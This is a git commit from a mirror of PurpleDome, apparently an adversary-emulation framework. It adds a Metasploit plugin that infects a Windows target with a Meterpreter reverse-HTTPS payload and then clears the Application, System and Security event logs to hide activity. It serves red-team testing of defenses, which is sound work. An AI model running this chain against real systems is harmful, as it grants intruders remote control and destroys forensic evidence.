mirror of https://github.com/avast/PurpleDome
Added clearenv metasploit plugin
parent
4291529a38
commit
7d76de8bdf
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin
|
||||
from app.metasploit import MetasploitInstant
|
||||
|
||||
|
||||
class MetasploitMigratePlugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "metasploit_clearev"
|
||||
description = "Clear windows event logs: Application, System, and Security logs. Windows only"
|
||||
ttp = "T1070.001"
|
||||
references = ["https://attack.mitre.org/techniques/T1070/001/"]
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/meterpreter_reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
metasploit = MetasploitInstant(self.metasploit_password,
|
||||
attack_logger=self.attack_logger,
|
||||
attacker=self.attacker_machine_plugin,
|
||||
username=self.metasploit_user)
|
||||
|
||||
metasploit.smart_infect(target, payload_type, payload_name, )
|
||||
|
||||
metasploit.clearev(target)
|
||||
|
||||
return res
|
Loading…
Reference in New Issue